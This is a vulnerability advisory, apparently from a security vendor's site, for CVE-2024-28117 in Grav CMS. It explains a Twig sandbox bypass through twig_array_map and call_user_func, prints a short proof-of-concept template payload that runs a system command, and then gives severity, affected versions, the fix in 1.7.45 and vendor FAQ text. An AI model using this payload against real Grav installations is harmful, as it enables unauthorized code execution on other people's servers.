CVE-2024-28117

Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twig_array_map, allowing attackers to bypass the validation and execute arbitrary commands.

Details

{{ grav.twig.twig.getFunction('twig_array_map')|var_dump }}

When we accessed twig_array_map like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twig_array_map without any restrictions.

{% set cmd = {'id':'system'} %}
{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}

Since there is no validation on twig_array_map itself, it is possible to call arbitrary function using call_user_func.

PoC

{% set cmd = {'id':'system'} %}
{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}

Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages.
As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2024-28117 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.7.45); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2024-28117? CVE-2024-28117 is a high-severity code injection vulnerability in getgrav/grav (composer), affecting versions < 1.7.45. It is fixed in 1.7.45. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2024-28117? CVE-2024-28117 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of getgrav/grav are affected by CVE-2024-28117? getgrav/grav (composer) versions < 1.7.45 is affected.
4. Is there a fix for CVE-2024-28117? Yes. CVE-2024-28117 is fixed in 1.7.45. Upgrade to this version or later.
5. Is CVE-2024-28117 exploitable, and should I be worried? Whether CVE-2024-28117 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-28117 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-28117? Upgrade getgrav/grav to 1.7.45 or later.

Other vulnerabilities in getgrav/grav